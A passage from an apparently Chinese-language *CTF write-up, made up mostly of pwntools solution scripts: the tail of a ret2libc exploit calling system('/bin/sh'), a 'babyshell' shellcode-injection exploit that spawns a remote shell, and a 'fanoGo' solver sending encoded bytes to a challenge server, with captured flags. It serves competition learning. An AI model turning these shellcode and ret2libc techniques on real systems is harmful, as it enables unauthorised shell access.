    p.send(p64(libc.sym['system']) + '/bin/shx00')
    p.sendline('cat flag')
    p.interactive()

if __name__ == '__main__':
    libc = ELF('./libc6_2.23-0ubuntu11_amd64.so')
    write_plt = v(0x520)
    read_plt = v(0x540)
    p_rdi_r = v(0x783)
    p_rsi_r15_r = v(0x781)
    exploit()

# *CTF{Qri2H5GjeaO1E9Jg6dmwcUvSLX8RxpI7}

babyshell

from pwn import *
context.update(os='linux', arch='amd64')

def exploit(host, port=10002):
    if host:
        p = remote(host, port)
    else:
        p = process('./shellcode')
        gdb.attach(p, '''
            b *0x00000000004008CB
            c
        ''')
    sc = asm('''
        pop rdx
        pop rdi
        pop rdi
        pop rdi
        pop rdi
        pop rdi
        pop rdi
        pop rdi
        pop rdi
        pop rdi
        syscall
    ''')
    p.sendafter('plz:', sc)
    p.send('x90'*0x100 + asm(shellcraft.sh()))
    p.interactive()

if __name__ == '__main__':
    exploit(args['REMOTE'])

# *CTF{LtMh5VbedHlngmKOS2cwWRo4AkDGzCBy}

RE

fanoGo

程序逻辑:以corpus.txt的内容作为table,要求将输入经过fano.(*Fano).Decode后等于
If you cannot read all your books...fondle them---peer into them, let them fall open where they will, read from the first sentence that arrests the eye, set them back on the shelves with your own hands, arrange them on your own plan so that you at least know where they are. Let them be your friends; let them, at any rate, be your acquaintances.

直接复用程序中的fano.(*Fano).Encode,将上面的数据编码得到密文

from pwn import *

context.update(os='linux', arch='amd64')

# p = process('./fanoGo')
p = remote('34.92.37.22', 10001)

ans = [
0x82c2b7c2bec3602b,
0x2a87c25b95c389c2,
0x6fbdc35196c21369,
0x94c27492c35a2832,
0xa4c296c295c294c2,
0xb3c28ec3a3c28ac3,
0x46aec2bac2242424,
0x2332abc33cacc22b,
0xc3acc2b3c3b0c32a,
0xc26ba3c22c87c285,
0xc3a8c25c87c30fad,
0x12b9c3a1c3afc2b3,
0x91c2a6c272448ac3,
0x676451a7c3316d66,
0x5191c296c26b7578,
0x7b578ec3133ea7c3,
0xc311297f459dc247,
0x8ac259a7c3a1c395,
0xfb5c291c28cc206,
0xc38bc3bac28ec23a,
0x718ec2bcc3a8c3aa,
0x42b9c336326fbdc3,
0xc3792292c349a7c3,
0x6396c3795493c389,
0x6f23b3c396c31f6a,
0x76a8c394c23794c2,
0xadc23f7c8ec383c3,
0x7baac20c9fc2a0c3,
0x7eb0c3adc22683c3,
0x97f9dc247a5c33a,
0xafc2b0c24449a5c3,
0xbdc351508cc33a0f,
0x49272d8cc32c326f,
0xc2b3c3b0c32aa3c3,
0xc2b0c389c288c3ac,
0x4111299fc21c7e9d,
0xc288c3bcc2b5c347,
0xb8c2a2c3b0c3389a,
0x5092c315a9c3,
]

# gdb.attach(p, '''
# b *0x000000000045C4F0
# # command
# # set $rip=0x000000000045C970
# # fin
# # end
# c
# ''')

p.sendafter(':', flat(ans)[:0x136])

p.interactive()

# *CTF{NUY4a3E5D9186hVzejoyItr7xHBcmOpv}

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注